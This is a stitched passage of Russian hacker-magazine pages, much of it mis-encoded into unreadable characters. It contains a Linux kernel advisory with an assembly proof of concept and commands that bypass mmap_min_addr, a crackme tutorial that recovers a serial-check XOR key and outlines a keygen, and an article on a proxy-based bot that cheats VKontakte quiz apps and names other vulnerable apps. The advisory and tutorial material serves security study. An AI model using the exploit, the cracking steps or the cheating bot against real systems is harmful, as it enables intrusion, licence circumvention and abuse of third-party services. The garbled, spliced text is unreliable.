Для решения этой баги в exim 4.64 (lists.exim.org/lurker/messag
e/20061220.105401.340f1c13.en.html) был добавлен индикатор на 
integer overflow.

ОБХОД ОГРАНИЧЕНИЙ 
БЕЗОПАСНОСТИ 
В ЯДРЕ LINUX

TARGETS: 

Linux kernel

BRIEF

И снова легендарный Тавис Орманди обнаружил замечательную 
уязвимость — обход защиты выделения памяти ниже значения, 
установленного в mmap_min_addr. С помощью этого становится 
реальностью эксплуатация уязвимостей класса «Разыменование 
нулевого указателя». Дело в том, что функция install_special_
mapping (используемая для установки vdso) не выполняет проверки 

безопасности до вызова insert_vm_struct, тем самым атакующий 
может обойти механизм mmap_min_addr с помощью лимитирова-
ния страниц для определенных проецирований.

$ cat /proc/sys/vm/mmap_min_addr

65536 <---- 0x10000

$ cat install_special_mapping.s

section .bss

    resb BSS_SIZE

section .text

    global _start

    _start:

        mov     eax, __NR_pause

        int     0x80

$ nasm -D__NR_pause=29 -DBSS_SIZE=0xfffed000 -f elf -o 

install_special_mapping.o install_special_mapping.s

$ ld -m elf_i386 -Ttext=0x10000 -Tbss=0x11000 -o install_

special_mapping install_special_mapping.o

$ ./install_special_mapping &

[1] 14303

$ cat /proc/14303/maps

0000f000-00010000 r-xp 00000000 00:00 0

[vdso] <------ çàëåçëè çà ïðåäåë!

00010000-00011000 r-xp 00001000 00:19 2453665

/home/taviso/install_special_mapping

00011000-ffffe000 rwxp 00000000 00:00 

[stack]

К сожалению, уязвимость позволяет проецировать память лишь на 
4096 байт за пределами значения mmap_min_addr. Однако стоит 
отметить, что на Linux Red Hat значение mmap_min_addr по умол-
чанию выставлено в 4096, соответственно, мы можем проецировать 
память по нулевому указателю!

SOLUTION
Применить нехитрый патч:

--- a/fs/exec.c

+++ b/fs/exec.c

@@ -275,7 +275,14 @@ static int __bprm_mm_init(struct 

linux_binprm *bprm)

    vma->vm_flags = VM_STACK_FLAGS | VM_STACK_INCOMPLETE_

SETUP;

    vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);

    INIT_LIST_HEAD(&vma->anon_vma_chain);

+

+   err = security_file_mmap(NULL, 0, 0, 0, vma->vm_

start, 1);

+

+   if (err)

+       goto err;

+

    err = insert_vm_struct(mm, vma);

+

--- a/mm/mmap.c

+++ b/mm/mmap.c

@@ -2479,6 +2479,11 @@ int install_special_

mapping(struct mm_struct *mm,

    vma->vm_ops = &special_mapping_vmops;

    vma->vm_private_data = pages;

 +   if (security_file_mmap(NULL, 0, 0, 0, vma->vm_start, 

1)) {

+       kmem_cache_free(vm_area_cachep, vma);

+       return -EPERM;

+   } z
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Для регистрации программ, защищенных с помощью серийных 
ключей, пользователю предлагается ввести уникальное имя и 
серийный номер (они, как правило, поставляются в закрытом 
конверте вместе с лицензионной копией программы). Программа 
как-то проверяет их и выдает свой вердикт: данная копия либо 
зарегистрирована, либо нет.  
В абсолютном большинстве случаев алгоритм проверки следую-
щий: на основе введенного имени пользователя генерируется 
последовательность символов, которая сверяется с введенным 
серийным номером. Если они совпадают, то пользователь при-
знается легальным правообладателем, если же они различны, то 
этому же пользователю в вежливой форме предлагается погулять.
Взлом таких защит сводится к простому «выдиранию» алгоритма 
генерирования серийного номера на основе имени пользователя. 
Причем мне встречались такие crackme'сы, в которых для напи-
сания keygen'а не требовалось даже разбираться в этом самом 
алгоритме: все решалось тупым копированием процедур, ответ-

ственных за генерацию валидного серийного номера. Понятно, 
что это достаточно скучное дело, даже не требующее серьезного 
напряжения извилин.

Что мы будем ломать
Crackme WhatHTML — это тоже пример защиты на регистраци-
онном ключе. Но построенный по совершенно иному принципу. 
Написан он программистом, известным под ником Chiwaka. 
Скачать сам crackme можно бесплатно по ссылке cracklab.ru/
crackme/whathtml.zip. Именно это я и предлагаю тебе сделать, 
закрыв эту статью. Ведь ломать самому всегда намного инте-
реснее, чем читать инструкции по взлому. Главное окно про-
граммы представлено на одноименном рисунке. Значение в поле 
«Machinecode» у тебя будет другим. Откуда оно берется, узнаем 
позже. Как нетрудно догадаться, нужно найти валидные комбина-
ции значений полей «Name» и «Serial», а также по возможности 
написать keygen.

  Àáñîëþòíîå áîëüøèíñòâî çàùèò íà ñåðèéíûõ êëþ÷àõ ïîñòðîåíî 
ïî îäíîìó è òîìó æå ïðèíöèïó. Èõ äàæå ëîìàòü ñòàíîâèòñÿ íåèíòåðåñíî. 
Íî âîò crackme WhatHTML, íàïèñàííûé ïðîãðàììèñòîì c íèêîì 
Chiwaka, ïðåäñòàâëÿåò ñîáîé ïðèìåð õîðîøåé çàùèòû íà ñåðèéíîì 
êëþ÷å. Èìåííî åå ìû ñåãîäíÿ è ðàçáåðåì.

ÍÎÊÀÓÒ 
WHATHTML
Âçëîì íåñòàíäàðòíîé çàùèòû íà ñåðèéíîì êëþ÷å



Ну что ж, со знакомством, думаю, закончили. Теперь переходим к 
самому интересному.

Первый взгляд
Итак, приступим. Начинается программа с получения адреса 
функции ShowHTMLDialog из библиотеки mshtml.dll (делается это 
с помощью стандартных функций LoadLibraryA и GetProcAddress). 
После этого вызывается несколько процедур, которые и выполня-
ют основную работу. Ниже приводится дизассемблерный листинг 
этой части программы, полученный с помощью IDA Pro,а также 
мои комментарии к нему:

.text:00401043  call    sub_4010B2

.text:00401048  call    sub_401298

.text:0040104D  call    sub_401169

; Åñëè ïîëüçîâàòåëü ïðîñòî çàêðûë îêíî, òî âûõîäèì 

; èç ïðîãðàììû, èíà÷å âûçûâàåì ïðîöåäóðó sub_401298  

.text:00401052  cmp     dword_40303B, 0

.text:00401059  jnz     short loc_401060

.text:0040105B  call    sub_401298

; Çàâåðøàåì ðàáîòó ïðèëîæåíèÿ

.text:00401060  pop large dword ptr fs:0

.text:00401067  add     esp, 4

.text:0040106A  push    0 ; uExitCode

.text:0040106C  call    ExitProcess

.text:0040106C start endp

Из листинга видно, что программа последовательно вызы-
вает три процедуры (sub_4010B2, sub_401298, sub_401169); в 
том случае, если пользователь нажал на кнопку «Register», то 

еще раз вызывается процедура sub_401060. Что ж, пока вроде 
ничего сложного. Теперь познакомимся с нашими процедурами 
поближе.

Таинственное поле Machinecode
 Первой на очереди стоит процедура sub_4010B2. В этой про-
цедуре вызывается функция GetSystemInfo, и на основе возвра-
щенных ей данных по определенному алгоритму формируется 
значение, которое и идет в поле «Machinecode».

Не ассемблером единым
Процедура sub_401298 ответственна за формирование и ото-
бражение окна на экране. В ней происходит вызов найденной 
ранее функции ShowHTMLDialog. В качестве параметра она 
принимает строку с html-кодом окна. В целях экономии места 
демонстрировать весь html-код окна я не буду, приведу лишь 
код обработчика нажатия на кнопку «Register», написанный на 
JavaScript. Вот он:

function okButtonClick()

{

   var x = 0;

   var y = 0;

   var z = 0;

   var charx = 0;

   var chary = 0;

   var myName = Name.value;

   var mySerial = Serial.value;

   var myRandom = Random.value;

   for (var i=0; i<myName.length; i++)
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   {

      x =  x + myName.charCodeAt(i);

   }

   for (var i=0; i <mySerial.length; i++)

   {

      charx = mySerial.charCodeAt(i-1);

      chary = mySerial.charCodeAt(i);

      if (charx != chary) 

      {

         z = z + chary;

         charx = chary;

      }

   }

   for (var i=0; i <arrArgs.length;i++)

   {

      y = y + arrArgs.charCodeAt(i);

   }

   window.returnValue =x.toString(10)+ "?" 

      + z.toString(16) + "?" + y.toString(10);

   window.close(); }

Если ты знаком с языком JavaScript, то легко увидишь, что здесь 
происходит суммирование кодов символов, составляющих имя, 
серийный номер и код машины (поле «Machinecode»). Причем 
очередной символ серийного номера добавляется только в том 
случае, если он отличается от предыдущего символа серийного 
номера. Полученные значения оформляются в строку, символом-
разделителем служит знак «?». Эта строка возвращается прило-
жению, создавшему окно. 

Защита
Следом за вызовом процедуры sub_401298, создающей окно, 
идет вызов процедуры sub_401169, которая представляет для нас 
особый интерес, поскольку именно в ней сосредоточен защитный 
механизм. 
Данная процедура осуществляет разбор полученной на прошлом 
этапе строки и формирует три числа на основе имени пользова-
теля, серийного номера и информации о машине. Числа форми-
руются по следующему принципу: если у нас в качестве строко-
вого выражения было передано «725», то после преобразований 
будет получено значение 725h. 
Полученные таким нехитрым образом числа складываются друг 
с другом, образуя ключ, которым расшифровывается внутрен-
ний буфер. Дизассемблерный код расшифровщика приводится 
ниже:

; Öèêë ðàñøèôðîâêè áóôåðà. Àëãîðèòì ðàñøèôðîâêè — 

; áàíàëüíûé xor. Êëþ÷ ðàñøèôðîâêè ëåæèò â ðåãèñòðå cx

.text:00401225  mov ebx, dword_403CF4

.text:0040122B  lea eax, String ; ".\b"

.text:00401231  xor edx, edx

.text:00401233  jmp short loc_40123C

.text:00401235

.text:00401235 loc_401235:

.text:00401235  xor [edx+eax], cx

.text:00401239  add edx, 2

.text:0040123C

.text:0040123C loc_40123C:

.text:0040123C  cmp edx, ebx

.text:0040123E  jb short loc_401235

Проверка пройдена



; Ïðîâåðêà ïðàâèëüíîñòè ðàñøèôðîâêè, îñóùåñòâëåííàÿ 

; ïóòåì ñðàâíåíèÿ òðåõ ñèìâîëîâ èç ðàñøèôðîâàííîãî

; áóôåðà ñ ýòàëîííûìè ñèìâîëàìè. Åñëè õîòÿ áû

; îäèí ñèìâîë íå ñîâïàäàåò ñ îáðàçöîì, íàñ ïîñûëàþò

; êóäà ïîäàëüøå.

.text:00401240  lea eax, unk_403072

.text:00401246  cmp byte ptr [eax], 28h

.text:00401249  jnz short loc_401272

.text:0040124B  cmp byte ptr [eax+5], 12h

.text:0040124F  jnz short loc_401272

.text:00401251  cmp byte ptr [eax+0Ah], 1

.text:00401255  jnz short loc_401272

; Åñëè ìû çäåñü, çíà÷èò, íàñ ïðèçíàëè ëåãàëüíûìè

; ïîëüçîâàòåëÿìè

.text:00401257  call sub_401372

Подытожив все вышесказанное, можно описать работу програм-
мы так: 
1. На основе информации о машине формируется некоторое кодо-
вое число «Machinecode»;
2. У пользователя запрашивается имя и серийный номер;
3. По значениям«Machinecode», имени и серийного номера с 
помощью JavaScript-кода формируется три числа;
4. На основе полученных трех чисел формируется ключ к рас-
шифровке буфера;
5. Расшифровывается вшитый буфер;
6. Правильность расшифровки проверяется по трем символам, 
взятым из расшифрованного буфера;
7. Если все расшифровано верно, то пользователь признается 
легальным правообладателем. Если же буфер расшифрован 
неправильно, то пользователю сообщается об ошибке.
Теперь, когда мы разобрались с устройством защиты, давай 
перейдем к ее взлому.

Взлом
Вот тут-то начинается самый настоящий простор для фантазии: 
дело в том, что взломать программу можно не одним и даже не 
двумя способами. Самое простое, что приходит на ум, это испра-
вить условные переходы в проверке правильности расшифровки 
так, чтобы они никогда не срабатывали. Или вообще забить эту 

проверку nop'ами. Но при таком подходе мы не увидим поздрави-
тельного сообщения (да-да, в расшифровываемом буфере нахо-
дится именно оно).
Давай думать, что нам известно об используемом шифре. 
Во-первых, алгоритм шифрования — xor, а значит, имея пару 
«зашифрованная строка и расшифрованная строка», а затем 
выполнив операцию xor между ними, мы найдем ключ расшиф-
ровки. Во-вторых, ключ расшифровки находился в регистре cx, 
а значит, длина ключа — два байта. Помимо всего прочего, у нас 
есть три пары значений «зашифрованный символ и расшиф-
рованный символ» (эталон, по которому программа определяет 
правильность расшифровки). Все это позволяет нам без труда 
определить требуемый ключ расшифровки: 04E6h.
Зная требуемый ключ, мы можем перед циклом расшифровки 
воткнуть либо команду «mov cx, 04E6h», либо написанный полно-
ценный keygen. 
А что, в написании keygenа для этой программы нет ничего 
сверхсложного. Работать keygen будет приблизительно по сле-
дующей схеме:
1. Точно так же, как это делает ломаемая нами программа, опре-
деляем параметры компьютера пользователя и рассчитываем на 
их основе кодовое число;
2. Предлагаем пользователю ввести имя, на которое он хочет сге-
нерировать серийный номер;
3. На основе введенного имени вычисляем соответствующее ему 
число (снова так же, как это делает программа);
4. Зная числа, основанные на имени пользователя, параметрах 
компа  и ключе расшифровки, определяем третье число — осно-
ванное на серийном номере;
5. Зная число, к которому должен приводить серийный номер, 
находим сумму символов серийного номера;
6. Зная сумму символов серийного номера, генерируем сам 
номер и отдаем его пользователю. 
Вот и весь keygen.

Заключение
Мы рассмотрели пример неплохой защиты, основанной на серий-
ном номере. Как видишь, даже здесь, во вроде бы давно избитой 
методике защиты приложений, есть место воображению. Так 
что, если ты программист и хакер, то проявляй фантазию даже 
в тривиальных, казалось бы, вещах, и всем станет жить намного 
интереснее. z  
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Так программа говорит о неверном серийнике
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Про онлайн-игры
Для начала предлагаю разобраться, на какие же категории можно 
разделить все онлайн-игры с точки зрения их уровня безопасно-
сти.  Первый тип — это платформозависимые игры с собственным 
движком, который обычно разрабатывается с нуля. Это такие игры, 
как World of Warcraft, Lineage, Warhammer и другие. Как правило, 
вся информация от клиента к серверу передается по собственному 
протоколу игры, и степень ее защищенности определяется только 
фантазией разработчиков. Второй тип — это кроссплатформенные 
игры с собственным движком и протоколом обмена данными. Это 
всевозможные бойцовские клубы, игры типа TimeZero и прочие. В 
отличие от игр первого типа, они обычно выполнены на базе Flash 
и Java. Их плюс — в кроссплатформенности, а небольшой минус — в 
безопасности. Конечно, с безопасностью все не критично, но явно 
хуже, чем у первого типа игр, в силу ограниченности возможностей 
используемых технологий, особенно Flash. Тем не менее, у игр тре-
тьего типа маневров для поддержания достаточно хорошего уровня 
безопасности еще меньше. Третий тип — это подмножество второго 
типа, то есть браузерные онлайн-игры, построенные на схожем про-
токоле обмена данными, API либо движке. К этому типу относятся 
игры внутри таких небезызвестных сервисов, как Mail.ru, Yahoo и 

ВКонтакте. Последнему и посвятим наше внимание. Приложения 
ВКонтакте завоевали популярность в массах практически сразу же 
после своего появления. Фермы, покеры и рисовалки на стенах в 
кратчайшие сроки набрали сотни тысяч пользователей в свои ряды, а 
их создатели получили неплохую финансовую подпитку за счет люби-
телей поднять свой рейтинг (и, как следствие, виртуальный обще-
ственный статус) путем оплаты тех или иных услуг со счета ВКонтакте. 
Как будет показано далее, с помощью несложных манипуляций в 
некоторых приложениях можно добиться желаемого результата, не 
тратя много времени, а всего лишь написав автоматизатор (бот), 
который будет выполнять всю работу за тебя. Так я и сделал в один 
прекрасный день.

Идея!
С чего же все началось? А с того, что я, будучи любителем англий-
ского языка, нашел ВКонтакте приложение LinguaMania (vkontakte.
ru/app750611). Это тренажер для изучения языков. Чтобы обучение 
проходило веселее, разработчики реализовали систему поощрений 
в виде букв, из которых можно собирать слова, а затем «покупать» за 
них одежду и одевать свою виртуальную аватарку. Ну и, само собой, 
рейтинг. А вот о нем подробнее. Рейтинг дается не только за обуче-

  Òàê óæ ëþäè óñòðîåíû, ÷òî èì ñâîéñòâåííà ïîãîíÿ çà îáùåñòâåííûì 
ñòàòóñîì. Îäíè èùóò ñåêñóàëüíîãî ñóïðóãà, äðóãèå îêðóæàþò ñåáÿ 
ýëåìåíòàìè ðîñêîøè, òðåòüè æå îãðàíè÷èâàþòñÿ ïîääåðæàíèåì 
âèðòóàëüíîãî ñòàòóñà. Â ýòîé ñòàòüå áóäåò çàòðîíóòà ÷àñòü ýòîé 
ñâîåîáðàçíîé èíäóñòðèè — ìíîãîïîëüçîâàòåëüñêèå áðàóçåðíûå îíëàéí-
èãðû è èõ ñëàáûå ìåñòà.

Èññëåäîâàíèå ïðèëîæåíèé ñîöñåòè
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ние по виртуальным «учебникам», но и за игру в викторину, которая 
сразу меня заинтересовала. 
Первые несколько недель я честно набивал очки тысячами, пока не 
надоело. Набрав 100 000 очков и оторвавшись от преследователей 
в 2-3 раза, я изрядно устал и забил на это дело. Но по прошествии 
нескольких месяцев меня стали догонять в рейтинге. Тут-то и про-
снулся мой эгоцентризм: желание сохранить первую строчку рей-
тинга вынудило меня обдумать пути набора очков без лишней траты 
времени. 
Первым делом я полез смотреть трафик приложения: что куда пере-
дается, что приходит обратно. Для анализа HTTP-трафика я еще 
не встречал инструмента лучше, чем приложение HTTPWatch для 
Internet Explorer'а (httpwatch.com). Итак, я запустил игру, нажал кноп-
ку «Record» в аддоне для записи логов… и  вот тут мне, как говорится, 
и «пришли 2 туза на префлопе». Я увидел, что приложение передает 
все свои данные как есть, в открытую.
Изучив трафик, я обнаружил, что переменная state принимает сле-
дующие значения: PHASE1, PHASE2, PHASE3, GUESS, LOSE.  Это 
соответствует стадиям игры в каждом раунде: все буквы скрыты, 
одна буква открыта, две буквы открыты, слово угадано, слово не 
угадано. Как видишь, в открытую передается question_id, что, как 
несложно догадаться, есть номер вопроса. В случае первых трех 
фаз в поле «question_mask» передается маска слова. Например, 
если state=PHASE3, первая буква C, вторая буква A, то маска слова 
— ??С?A. Если текущая фаза — GUESS или LOSE, то слово будет ото-
бражено на экране целиком, чтобы показать пользователю ответ. 
Соответственно, в переменной question_mask это также отобразится: 
там будет слово полностью, без знаков вопроса. Смотри внимательно. 
В конце каждого раунда мы получаем номер вопроса и ответ на него. 
Именно это открытие и навело меня на идею автоматизировать про-
цесс. Ведь каждый раз, когда мы получаем слово, мы заносим его в 
нашу базу данных слов. Если же такой question_id там уже есть, то 
мы берем слово и вписываем его в окошко программы, за что полу-
чаем очки. Само собой, что проверку на наличие слова в базе нужно 
делать в тот момент, когда state будет PHASE1, PHASE2 или PHASE3. 
Таким образом, наш бот будет самообучающимся: нет слова — запо-
минаем, есть слово — отвечаем на вопрос.

Кодинг
Как же это все реализовать на практике? Для начала нужно научить-
ся самим перехватывать трафик. Рассмотрим доступные нам вариан-
ты. Их будет три.

Первый вариант — это перехват пакетов сетевого интерфейса. 
Достаточно низкоуровневый способ, требующий навыков взаимо-
действия с внешними библиотеками, сетевыми интерфейсами и, в 
целом, умения работать с операционной системой на низком уровне. 
Тебе пригодится библиотека WinPCap, которая позволяет получать 
пакеты в чистом виде прямо с сетевого интерфейса. В остальном — 
Гугл в помощь.
Второй путь — это работа с Internet Explorer. Этот способ, пожалуй, 
самый высокоуровневый, так как мы получаем уже готовый, обрабо-
танный трафик. Для перехвата трафика таким образом необходимо 
владеть COM-программированием: уметь подключаться к COM-
объектам (каковым является компонент IWebBrowser2 внутри окна 
Internet Explorer’а), реализовывать интерфейсы и работать с ними. 
Способ требует серьезных знаний в вышеуказанной области, поэтому 
я решил делать «как дед учил», третьим способом. А это у нас реа-
лизация прокси-сервера. Точнее говоря, Socks 4/5 сервера. На этом 
способе заострим наше внимание. Заострим немного, так как статья 
все же не о создании Socks-сервера, поэтому нагружать ее кодом не 
буду.
Начать написание Socks-сервера стоит с изучения вот этого мануа-
ла: faqs.org/rfcs/rfc1928.html. Для ленивых и англонемых будут мои 
пояснения на русском. Но сперва реализуем серверное приложение. 
Есть несколько способов сделать приложение-сервер, начиная со 
старого…

SOCKET mysocket

sockaddr_in local_addr; 

local_addr.sin_family = AF_INET; 

local_addr.sin_port = htons(MY_PORT); 

local_addr.sin_addr.s_addr = 0;

mysocket = socket(AF_INET, SOCK_STREAM, 0);

bind(mysocket, (sockaddr *)&local_addr, 

  sizeof(local_addr));

listen(mysocket, 1080);

SOCKET client_socket;

sockaddr_in client_addr;

int client_addr_size = sizeof(client_addr);

while ((client_socket = accept(mysocket, 

   (sockaddr *)&client_addr, &client_addr_size)))

{

 DWORD thID;

 CreateThread(NULL, NULL, ClientThread, 

   &client_socket, NULL, &thID);

}

...и заканчивая вполне современным способом реализации серверов 
под Windows, каковым является работа с сетевыми сообщениями 
при помощи функции WSAAsyncSelect(). Саму программу и ее полный 
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исходный код на C++ в среде Visual Studio 10 можно найти на DVD к 
этому номеру. Рамки статьи не позволяют детально описать процесс 
создания Socks-сервера, поэтому я ограничусь лишь пояснением 
структуры программы и основных методов, которые я использовал.
Начать написание такого приложения стоит примерно c такого кода:

SOCKET server_socket;

WSADATA wsaData;

int server_port = 3128;

int queue_size = 5;

struct sockaddr_in server_address;

#define SERVER_ACCEPT WM_USER + 1

#define CLIENT_EVENT WM_USER + 2

#define TARGET_EVENT WM_USER + 3

#define SOCKET_OPENED WM_USER + 4

#define SOCKET_CLOSED WM_USER + 5

int ServerStart(HWND hWnd)

{

   int rc;

   WSACleanup();

   WSAStartup(0x0101, &wsaData);

   server_socket = socket(AF_INET, SOCK_STREAM, 0);

   server_address.sin_family = AF_INET;

   server_address.sin_addr.S_un.S_addr = 

      inet_addr("127.0.0.1");

   server_address.sin_port = htons(server_port);

   bind(server_socket, (LPSOCKADDR)&server_address,

      sizeof(server_address)) ;

   listen(server_socket, queue_size);

   /* !!! */ rc = WSAAsyncSelect(server_socket, 

      hWnd, SERVER_ACCEPT, FD_ACCEPT);

   return 0;

}

Чем же этот код отличается от первого? А тем, что в данном случае 
нам не нужно возиться с многопоточностью для обработки каждого 
подключения к серверу. Благодаря выделенной строчке мы будем в 
нашем окне hWnd получать сообщения SERVER_ACCEPT при каждом 
новом подключении клиента.
Теперь рассмотрим момент подключения. В процедуре обработки 
сообщений окна мы ловим сообщение SERVER_ACCEPT и работаем 
с ним. Как только клиент подключился, вызывается функция accept(), 
и далее регистрируется событие CLIENT_EVENT, которое будет при-
ходить главному окну нашей программы, как только в сокет поступят 
данные либо сообщение о его закрытии:

client_socket = accept(server_socket,    

  (LPSOCKADDR)&socket_record->client_address, &len);

rc = WSAAsyncSelect(socket_record->client_socket, 

   hWnd, CLIENT_EVENT, FD_READ | FD_CLOSE);

Вернемся опять в нашу оконную процедуру. В ней мы будем обраба-
тывать вышеозначенное событие CLIENT_EVENT. Значение lParam в 
данном случае будет либо FD_READ (если событие было вызвано как 
сигнал о поступлении данных в сокет), либо FD_CLOSE (если сокет 
был закрыт).

if(WSAGETSELECTEVENT(lParam) == FD_READ) {

  c = recv(socket_record->client_socket, &bf[0], 1,0);

  ...          

}

if(WSAGETSELECTEVENT(lParam) == FD_CLOSE) {

  ...

}

Таким образом, мы уже научились принимать подключения и читать 
данные с сокета. Но вернемся к реализации Socks-протокола, упо-
минавшейся выше. Здесь я покажу, как работает Socks5, хотя в моей 
программе реализована и 4-ая версия. Вот что говорит нам RFC.
После подключения  клиент посылает Socks-серверу два байта: номер 
версии (4 или 5) и количество методов аутентификации — N. После 
этого нам придет еще N байт с номерами этих самых методов. Обычно 
приходят 3 целых числа: 05h, 01h и 00h. То есть пятая версия и пер-
вый метод, значение которого 00h, означающий, что клиент желает 
работать без аутентификации. В ответ мы должны вернуть два байта. 
Первый — это номер версии, то есть 05h, второй — значение выбран-
ного нами (сервером) метода аутентификации из того списка, что нам 
предложил клиент. Так как клиент обычно предлагает только 00f, то 
именно это мы обратно и вернем. Скушав наш ответ, клиент пришлет 
запрос следующего формата: первый байт — номер версии, второй — 
команда, третий — резервный байт, четвертый — тип адреса. После 
чего будет идти группа байт непосредственно с самим адресом хоста-
цели, а завершат пакет два байта с номером порта хоста-цели. Формат 
группы байт с адресом хоста-цели  будет зависеть от того, какой тип 
адреса (четвертый байт) задается. Мы будем работать с привычным 
IPv4, что соответствует значению 01h для четвертого байта запроса. 
В этом случае группа байт будет размером 4, то есть стандартного 
формата IP-адреса из четырех целых чисел. Номер порта хоста-цели 
вычисляется как первый байт * 256 + второй байт.
Итак, у нас есть запрос от клиента, который нужно выполнить. 
Подключаемся к хосту-цели по данному нам адресу и порту, ждем 
данных. Ждать данных будем как из сокета нашего клиента, так и из 
только что созданного сокета для хоста-цели, с которым клиент жела-
ет посредством нашего Socks-сервера пообщаться. Все, что придет 
от клиента, посылаем хосту-цели. Все, что от хоста-цели, уходит кли-
енту. Так и работает Socks-сервер.
В моей программе реализована структура, содержащая данные обо 
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всех подключениях, созданных нами, чтобы при принятии сообщения 
FD_READ мы знали, какой сокет что и куда посылает, клиент ли это 
или хост-цель, и в каком статусе находится процесс общения с ним. 
Рамки статьи не позволяют детально описать эту структуру, так что 
смотри исходный код.
Итак, мы научились перенаправлять трафик и, следовательно, слу-
шать его. Теперь, думаю, тебе не составит труда написать парсинг 
необходимых данных. Обрабатывая данные мы, как я уже обозначил 
ранее, смотрим, есть ли в нашей базе данных записи для искомого 
id. Если нет, то в момент наступления фазы LOSE или GUESS мы 
заносим это слово в базу данных. Если же запись имеется, то настало 
время сообщить игре правильный ответ. Это можно сделать двумя 
способами. Первый «очень высокоуровневый» и одновременно 
сложный. Заключается он в том, что мы подключаемся к COM-объекту 
IWebBrowser2 внутри Internet Explorer’a, в котором у нас загружена 
игра. Получаем интерфейс Flash-ролика и уже непосредственно с ним 
работаем через Flash API, что позволит нам вбить слово прямо в тек-
стовое поле и нажать кнопку ввода. Это очень круто. И очень сложно.
А что если ты не пользуешься Internet Explorer’ом? Да и реализо-
вывать все вышеописанное не хватает сил и желания? Есть старый 
добрый метод эмуляции событий мышки и клавиатуры. Заключается 
он в использовании системной функции SendInput. Это модернизиро-
ванная версия keydb_event()/mouse_event(),  которая рекомендована 
производителем (Microsoft). Вот пример нажатия клавиши F5:

INPUT pInput;

pInput.type = INPUT_KEYBOARD;

pInput.ki.wVk = VK_F5;

pInput.ki.time = 0;

pInput.ki.wScan = 0;

pInput.ki.dwFlags = KEYEVENTF_EXTENDEDKEY;

SendInput(1, &pInput, sizeof(pInput));

Ура! Теперь мы умеем слушать трафик через наш Socks-сервер, само-
обучаться, расширяя словарь при каждом новом слове, и отвечать на 
вопросы, которые нам уже встречались. Цель достигнута!
Стоит добавить, что в программе, выложенной по ссылке выше, отсут-
ствует функция ввода данных. Только прослушивание трафика и ото-
бражение слов на экране. Мне не хотелось бы, чтобы каждый второй 
начал терроризировать описанные приложения и накручивать рей-
тинг. Более того, перед выходом этого номера журнала в свет авторы 
приложений были проинформированы о наличии уязвимости, что, 
вероятно, приведет к ее устранению. Если же ты захочешь повторить 
что-то похожее на картину ниже, то, будь добр, напиши недостающую 
функцию ответа на вопросы сам.

И это все?
И это будет вполне адекватный вопрос. Наличие уязвимости такого 
класса не ограничивается лишь одним приложением. К слову ска-
зать, весь цикл приложений этого разработчика подвержен такого 
рода накрутке. А именно:

• Лингвамания — vkontakte.ru/app750611;
• Викторина — vkontakte.ru/app1697883;
• Угадай мелодию — vkontakte.ru/app1846666;
• Фотовикторина — vkontakte.ru/app1831187;
А также некоторые другие.
Поверхностный поиск среди приложений ВКонтакте дал еще 
несколько плодов. Первый из них — это приложение «Пузыри» по 
адресу vkontakte.ru/app707522.
Если ты хороший алгоритмист и можешь написать достойную про-
грамму для набора максимального количества очков на заданном 
поле, то для тебя есть отличная новость. Расклад «поляны» перед 
вашими глазами.
Любителям судоку ВКонтакте есть свое местечко. Вот оно: vkontakte.
ru/app716582.
Все, что здесь требуется — это хороший и быстрый алгоритм 
решения поставленной задачи, благо ее условие не нужно полу-
чать распознаванием картинки на экране, достаточно взглянуть 
на трафик.
Как ты, надеюсь, понимаешь, многообразие приложений ВКонтакте 
несопоставимо с отведенной под статью квотой, поэтому оставляю 
поиск потенциальных жертв тебе, дорогой читатель, в качестве 
домашнего задания.

Подводя итоги
В завершение поразмыслим о том, кто виноват и что делать. 
Виновными признаются лень и жажда наживы разработчиков прило-
жений, а также эгоизм тех, кто пользуется этими приложениями, сидя 
ночами напролет и отращивая «виртуальный половой орган». В ином 
случае эти приложения просто не разрабатывались бы для широкой 
публики. Из путей решения проблемы, какие вижу лично я, предложу 
следующие.
Разработчикам. Внимательнее изучать вопрос безопасности исполь-
зования приложений. Внедрение простого «шифрования» сдвигом 
на пару байт уже должно отбить  у значительной доли «взломщиков» 
желание копаться в трафике, не говоря уже о более совершенных 
методах защиты данных, которые, в зависимости от твоей фантазии, в 
той или иной степени обезопасят приложение от неадекватных дей-
ствий пользователей.
Взломщикам. Надеяться на то, что на крючок попадется серьез-
ная рыбка с брешами в безопасности, такими, как были описаны 
выше, не стоит. Разработчики крупных приложений (в особенности 
тех, где чувствуется присутствие денежной составляющей) обыч-
но умеют считать потери от деятельности любителей «покопаться 
внутри». Так что возьми все вышесказанное на заметку без лишних 
иллюзий касаемо сверхвыгодного применения этих знаний на 
практике.
Тем, кто все еще играет. Перестань. Это всего лишь точки на экра-
не. Во многих играх есть вполне реальная возможность автомати-
зации процесса игры и все твои многочасовые, а в редких клини-
ческих случаях и многодневные, усилия будут смотреться скудно 
по сравнению с результатами работы компьютерной программы. 
Программа не хочет ни спать, ни есть. Она не устает и не сдается. 
Не нужно соревноваться с программой. Живи реальной жизнью, 
а не жизнью «эльфа 80-го уровня». Испытав все это в свое время 
на личном опыте, я бросил этим заниматься. И вот, осознав, что 
знанием стоит поделиться с другими, я открыл текстовый редактор 
и написал первые строки этой статьи. z  
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Такой вот расклад
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Куала-Лумпур — родина HITB: именно здесь в 2003 году замеча-
тельный человек Дилон Эндрю Каннабиран впервые организовал 
и провел эту конференцию. За 7 лет HITB стал одним из автори-
тетных security-ивентов, на который со всего мира съезжаются 
лучшие специалисты в области ИБ. Именно поэтому сейчас самое 
время перейти к главному — к докладам, которых было немало.

Раскроем коробку
Исследователи Лонг Ли и Тан Нгуен посвятили свой доклад мод-
ной теме ROP, основы которой уже описывал Алексей Синцов в 
предыдущих номерах. В докладе на HITB специалисты сосредото-
чили внимание на данной технике применительно к Linux и таким 
защитам, как NX, ASLR и ASCII-Armor. Ребята представили тулзу 
ROPME, которая являет собой не что иное, как обычный набор 
ROP-гаджетов и скриптов для автоматизации написания ROP-
эксплойтов (что очень даже полезно, вручную их писать – занятие 
довольно кропотливое). В общем, если тема написания эксплойтов 
— это твое, то не поленись и изучи этот материал.
Следующий доклад представил The Grugq — хороший приятель 
небезызвестного Федора Ярочкина, с которым мы неплохо пооб-
щались в Амстердаме на прошлом HITB. Выступление было посвя-
щено атакам на GSM-станции. Одна из представленных в докладе 
утилит — это RACHell, с помощью которой можно отправлять в 
глубокий DoS базовые станции GSM. Следующая утилита — IMSI 

Flood — нарушает работоспособность VLR и HLR, а также отрубает 
сеть. Кроме того, были показаны наработки в области фаззинга на 
Baseband-станции с помощью Фреймворка OpenBTS и специализи-
рованного софта Coseinc GSM FuzzFarm.
Исследователь Жан-Баптист Бедрун из компании Sogeti рассказал, 
